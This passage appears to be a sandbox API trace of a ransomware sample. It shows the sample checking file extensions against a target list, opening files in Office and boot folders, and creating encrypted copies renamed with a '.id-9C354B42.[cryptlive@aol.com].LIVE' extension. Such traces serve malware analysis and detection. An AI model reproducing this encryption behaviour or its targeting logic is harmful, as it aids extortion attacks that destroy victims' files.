[0162.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.021] lstrlenW (lpString=".bz2") returned 4 [0162.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.021] lstrlenW (lpString=".7z") returned 3 [0162.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.021] lstrlenW (lpString=".dbf") returned 4 [0162.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.021] lstrlenW (lpString=".1cd") returned 4 [0162.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.021] lstrlenW (lpString=".jpg") returned 4 [0162.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.021] lstrlenW (lpString=".doc") returned 4 [0162.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.021] lstrlenW (lpString=".docx") returned 5 [0162.021] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0162.021] lstrlenW (lpString=".pdf") returned 4 [0162.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.021] lstrlenW (lpString=".xls") returned 4 [0162.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.021] lstrlenW (lpString=".xlsx") returned 5 [0162.021] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0162.021] lstrlenW (lpString=".ppt") returned 4 [0162.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.021] lstrlenW (lpString=".zip") returned 4 [0162.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.021] lstrlenW (lpString=".rar") returned 4 [0162.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.021] lstrlenW (lpString=".bz2") returned 4 [0162.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.022] lstrlenW (lpString=".7z") returned 3 [0162.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.022] lstrlenW (lpString=".dbf") returned 4 [0162.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.022] lstrlenW (lpString=".1cd") returned 4 [0162.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.022] lstrlenW (lpString=".jpg") returned 4 [0162.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.022] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0162.022] lstrlenW (lpString="J0174315.WMF") returned 12 [0162.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0162.028] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5864) returned 1 [0162.028] CloseHandle (hObject=0x1dc) returned 1 [0162.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf")) returned 0x20 [0162.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0162.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0162.031] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.031] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 58 os_tid = 0x670 [0126.703] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a01ed8 [0126.703] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a11ee0 [0126.703] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0320 [0126.703] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x93ed88 [0126.703] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0338 [0126.703] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3ed0020 [0126.704] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0350 [0126.704] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0350, Size=0x20) returned 0x39c0b50 [0126.704] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0350 [0126.704] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0350, Size=0x20) returned 0x39c0b78 [0126.704] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0126.704] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0126.704] Wow64DisableWow64FsRedirection (in: OldValue=0x328ff58 | out: OldValue=0x328ff58*=0x0) returned 1 [0126.704] lstrlenW (lpString="kernel32.dll") returned 12 [0126.704] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39c0b50 | out: hHeap=0x880000) returned 1 [0126.704] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.704] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39c0b78 | out: hHeap=0x880000) returned 1 [0126.704] Sleep (dwMilliseconds=0x64) [0127.222] lstrcmpiW (lpString1=".ttf", lpString2=".LIVE") returned 1 [0127.222] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0127.222] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0127.371] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1984228) returned 1 [0127.371] CloseHandle (hObject=0x1f0) returned 1 [0127.371] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0127.371] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.371] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0127.371] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.371] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.371] lstrlenW (lpString=".doc") returned 4 [0127.371] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0127.372] lstrlenW (lpString=".docx") returned 5 [0127.372] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0127.372] lstrlenW (lpString=".pdf") returned 4 [0127.372] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0127.372] lstrlenW (lpString=".xls") returned 4 [0127.372] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0127.372] lstrlenW (lpString=".xlsx") returned 5 [0127.372] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0127.372] lstrlenW (lpString=".ppt") returned 4 [0127.372] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0127.372] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.372] lstrlenW (lpString=".zip") returned 4 [0127.372] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0127.372] lstrlenW (lpString=".rar") returned 4 [0127.372] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0127.372] lstrlenW (lpString=".bz2") returned 4 [0127.372] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0127.372] lstrlenW (lpString=".7z") returned 3 [0127.372] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0127.372] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.372] lstrlenW (lpString=".dbf") returned 4 [0127.372] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0127.372] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.372] lstrlenW (lpString=".1cd") returned 4 [0127.372] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0127.372] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.372] lstrlenW (lpString=".jpg") returned 4 [0127.372] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0127.372] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.372] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.372] lstrlenW (lpString=".doc") returned 4 [0127.372] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0127.372] lstrlenW (lpString=".docx") returned 5 [0127.372] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0127.372] lstrlenW (lpString=".pdf") returned 4 [0127.373] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0127.373] lstrlenW (lpString=".xls") returned 4 [0127.373] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0127.373] lstrlenW (lpString=".xlsx") returned 5 [0127.373] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0127.373] lstrlenW (lpString=".ppt") returned 4 [0127.373] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0127.373] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.373] lstrlenW (lpString=".zip") returned 4 [0127.373] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0127.373] lstrlenW (lpString=".rar") returned 4 [0127.373] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0127.373] lstrlenW (lpString=".bz2") returned 4 [0127.373] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0127.373] lstrlenW (lpString=".7z") returned 3 [0127.373] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0127.373] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.373] lstrlenW (lpString=".dbf") returned 4 [0127.373] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0127.373] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.373] lstrlenW (lpString=".1cd") returned 4 [0127.373] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0127.373] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0127.373] lstrlenW (lpString=".jpg") returned 4 [0127.373] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0127.373] lstrcmpiW (lpString1=".ttf", lpString2=".LIVE") returned 1 [0127.373] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0127.373] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0127.374] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=47452) returned 1 [0127.374] CloseHandle (hObject=0x1f0) returned 1 [0127.374] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0127.374] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.374] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.374] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.374] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.374] lstrlenW (lpString=".doc") returned 4 [0127.374] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0127.374] lstrlenW (lpString=".docx") returned 5 [0127.374] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0127.374] lstrlenW (lpString=".pdf") returned 4 [0127.374] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0127.374] lstrlenW (lpString=".xls") returned 4 [0127.374] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0127.374] lstrlenW (lpString=".xlsx") returned 5 [0127.374] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0127.374] lstrlenW (lpString=".ppt") returned 4 [0127.374] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0127.374] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.374] lstrlenW (lpString=".zip") returned 4 [0127.374] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0127.374] lstrlenW (lpString=".rar") returned 4 [0127.374] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0127.374] lstrlenW (lpString=".bz2") returned 4 [0127.374] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0127.374] lstrlenW (lpString=".7z") returned 3 [0127.375] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0127.375] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.375] lstrlenW (lpString=".dbf") returned 4 [0127.375] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0127.375] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.375] lstrlenW (lpString=".1cd") returned 4 [0127.375] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0127.375] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.375] lstrlenW (lpString=".jpg") returned 4 [0127.375] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0127.375] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.375] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.375] lstrlenW (lpString=".doc") returned 4 [0127.375] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0127.375] lstrlenW (lpString=".docx") returned 5 [0127.375] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0127.375] lstrlenW (lpString=".pdf") returned 4 [0127.375] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0127.375] lstrlenW (lpString=".xls") returned 4 [0127.375] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0127.375] lstrlenW (lpString=".xlsx") returned 5 [0127.375] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0127.375] lstrlenW (lpString=".ppt") returned 4 [0127.375] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0127.375] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.375] lstrlenW (lpString=".zip") returned 4 [0127.375] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0127.375] lstrlenW (lpString=".rar") returned 4 [0127.375] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0127.375] lstrlenW (lpString=".bz2") returned 4 [0127.375] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0127.375] lstrlenW (lpString=".7z") returned 3 [0127.375] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0127.375] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.375] lstrlenW (lpString=".dbf") returned 4 [0127.376] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0127.376] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.376] lstrlenW (lpString=".1cd") returned 4 [0127.376] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0127.376] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0127.376] lstrlenW (lpString=".jpg") returned 4 [0127.376] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0127.376] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.376] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0127.376] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0127.376] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=93248) returned 1 [0127.376] CloseHandle (hObject=0x1f0) returned 1 [0127.376] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0127.376] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.376] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.376] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.377] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.377] lstrlenW (lpString=".doc") returned 4 [0127.377] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.377] lstrlenW (lpString=".docx") returned 5 [0127.377] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.377] lstrlenW (lpString=".pdf") returned 4 [0127.377] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.377] lstrlenW (lpString=".xls") returned 4 [0127.377] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.377] lstrlenW (lpString=".xlsx") returned 5 [0127.377] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.377] lstrlenW (lpString=".ppt") returned 4 [0127.377] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.377] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.377] lstrlenW (lpString=".zip") returned 4 [0127.377] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.377] lstrlenW (lpString=".rar") returned 4 [0127.377] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.377] lstrlenW (lpString=".bz2") returned 4 [0127.377] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.377] lstrlenW (lpString=".7z") returned 3 [0127.377] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.377] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.377] lstrlenW (lpString=".dbf") returned 4 [0127.377] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.377] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.377] lstrlenW (lpString=".1cd") returned 4 [0127.377] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.377] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.377] lstrlenW (lpString=".jpg") returned 4 [0127.377] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.377] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.377] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.377] lstrlenW (lpString=".doc") returned 4 [0127.377] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.377] lstrlenW (lpString=".docx") returned 5 [0127.377] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.378] lstrlenW (lpString=".pdf") returned 4 [0127.378] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.378] lstrlenW (lpString=".xls") returned 4 [0127.378] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.378] lstrlenW (lpString=".xlsx") returned 5 [0127.378] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.378] lstrlenW (lpString=".ppt") returned 4 [0127.378] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.378] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.378] lstrlenW (lpString=".zip") returned 4 [0127.378] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.378] lstrlenW (lpString=".rar") returned 4 [0127.378] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.378] lstrlenW (lpString=".bz2") returned 4 [0127.378] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.378] lstrlenW (lpString=".7z") returned 3 [0127.378] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.378] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.378] lstrlenW (lpString=".dbf") returned 4 [0127.378] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.378] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.378] lstrlenW (lpString=".1cd") returned 4 [0127.378] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.378] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0127.378] lstrlenW (lpString=".jpg") returned 4 [0127.378] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.378] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.378] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0127.378] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0127.379] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=90688) returned 1 [0127.379] CloseHandle (hObject=0x1f0) returned 1 [0127.379] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0127.379] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.379] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.379] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.379] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.379] lstrlenW (lpString=".doc") returned 4 [0127.379] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.379] lstrlenW (lpString=".docx") returned 5 [0127.379] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.379] lstrlenW (lpString=".pdf") returned 4 [0127.379] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.379] lstrlenW (lpString=".xls") returned 4 [0127.379] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.379] lstrlenW (lpString=".xlsx") returned 5 [0127.379] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.379] lstrlenW (lpString=".ppt") returned 4 [0127.379] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.379] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.379] lstrlenW (lpString=".zip") returned 4 [0127.379] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.379] lstrlenW (lpString=".rar") returned 4 [0127.381] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.381] lstrlenW (lpString=".bz2") returned 4 [0127.381] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.381] lstrlenW (lpString=".7z") returned 3 [0127.381] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.381] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.381] lstrlenW (lpString=".dbf") returned 4 [0127.381] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.381] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.381] lstrlenW (lpString=".1cd") returned 4 [0127.381] lstrcmpiW (lpString1=".1cd", 